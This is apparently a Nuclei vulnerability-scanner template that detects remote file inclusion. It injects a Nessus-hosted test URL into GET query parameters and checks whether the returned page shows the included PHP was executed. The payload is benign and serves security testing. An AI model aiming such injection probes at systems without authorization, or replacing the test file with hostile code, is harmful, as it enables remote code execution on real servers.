id: generic-rfi

info:
  name: Generic Remote File Inclusion
  author: m4lwhere
  severity: high
  reference:
    - https://www.invicti.com/learn/remote-file-inclusion-rfi/
  metadata:
    max-request: 1
  tags: rfi,dast,oast

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      rfi:
        - "https://rfi.nessus.org/rfi.txt"

    fuzzing:
      - part: query
        mode: single
        fuzz:
          - "{{rfi}}"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body  # Confirms the PHP was executed
        words:
          - "NessusCodeExecTest"
# digest: 4a0a0047304502201defae9e491762c05f2aefe99c8489ba93fd7153248875c686f9c6420abe3dc8022100bec8f77768157cd111d564a3498dfd931718092aa5a06e68b2b0033ef765d537:922c64590222798bb761d5b6d8e72950